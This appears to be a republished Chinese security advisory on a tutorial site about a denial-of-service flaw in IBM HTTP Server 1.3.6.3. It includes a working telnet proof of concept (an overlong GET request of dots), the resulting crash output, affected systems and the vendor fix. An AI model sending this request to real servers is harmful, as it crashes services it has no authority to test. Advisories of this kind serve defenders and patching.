当前位置: 首页 > 图文教程 > 网络编程 > JSP > 通过提交超长的GET请求导致IBM HTTP Server远程溢出

JSP
JavaBeans 程序开发从入门到精通教程
企业级应用中的Applet和Servlet的通信(一)
企业级应用中的Applet和Servlet的通信(三)
企业级应用中的Applet和Servlet的通信 (二)
Web开发中防止浏览器的刷新键引起系统操作重复提交
谈一下关于XHTML网页的制作
40种网页常用小技巧(javascript)←↓------[不时之需]
使用xmlhttp和Java session监听改善站内消息系统
JSP简明教程:行为标签与实例(转
jsp与javascript的结合在页面间传递参数
最基本的一个转换密码字符串为乱码以及解码的程序
55种网页常用小技巧(javascript)
jsp中标签的部署与调用
用jsp动态输出excel文档和中文乱码问题的解决
J2SDK和TOMCAT的安装及配置
web开发中的多条件查询处理技巧1则
JSP连接Mysql数据库攻略
Tomcat的Servlet配制
JSP/Servlet 中的汉字编码问题
Taglib原理和实现 第五章:再论支持El表达式和jstl标签

JSP 中的 通过提交超长的GET请求导致IBM HTTP Server远程溢出


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-11-02   浏览: 48 ::
收藏到网摘: n/a

涉及程序:
GET

描述:
通过提交超长的GET请求导致IBM HTTP Server远程溢出


详细:
IBM 的 HTTP 服务器是一个 web 服务器。在 Windows NT 使用的版本中存在拒绝服务的漏洞。

如果提交一个超过219个字符的 GET 请求,将导致服务器停止响应,并报错。要恢复服务正常工作需要重新启动应用程序。成功的利用该漏洞,攻击者可在受害的主机上执行任何代码。(但这还未得到完全证实。)


以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


$ telnet target 80
GET /......(216个".")aaa HTTP/1.0

则系统会报告下列错误信息:
***STOP:0x0000001e(0X00000005,0X804B3A51,0X00000000,0X00000000)KMODE_EXCEPTI
ON_NOT_HANDLED.
***Address 804B3A51 base at 80400000,Datastamp 384D9B17-ntoskrnl.exe
注意:目标主机运行在Windows 2000下。

受影响的系统
IBM HTTP Server 1.3.6.3
- TurboLinux Turbo Linux 3.0.1
- Sun Solaris 2.6
- S.u.S.E. Linux 6.1
- S.u.S.E. Linux 6.0
- RedHat Linux 6.0 sparc
- RedHat Linux 5.2 sparc
- Microsoft Windows NT 4.0
- IBM AIX 4.2.1
- Caldera OpenLinux 2.2

解决方案:
IBM 已经在 1.3.12 版本中解决了此问题,下载地址:
http://www-4.ibm.com/software/webservers/httpservers/download.html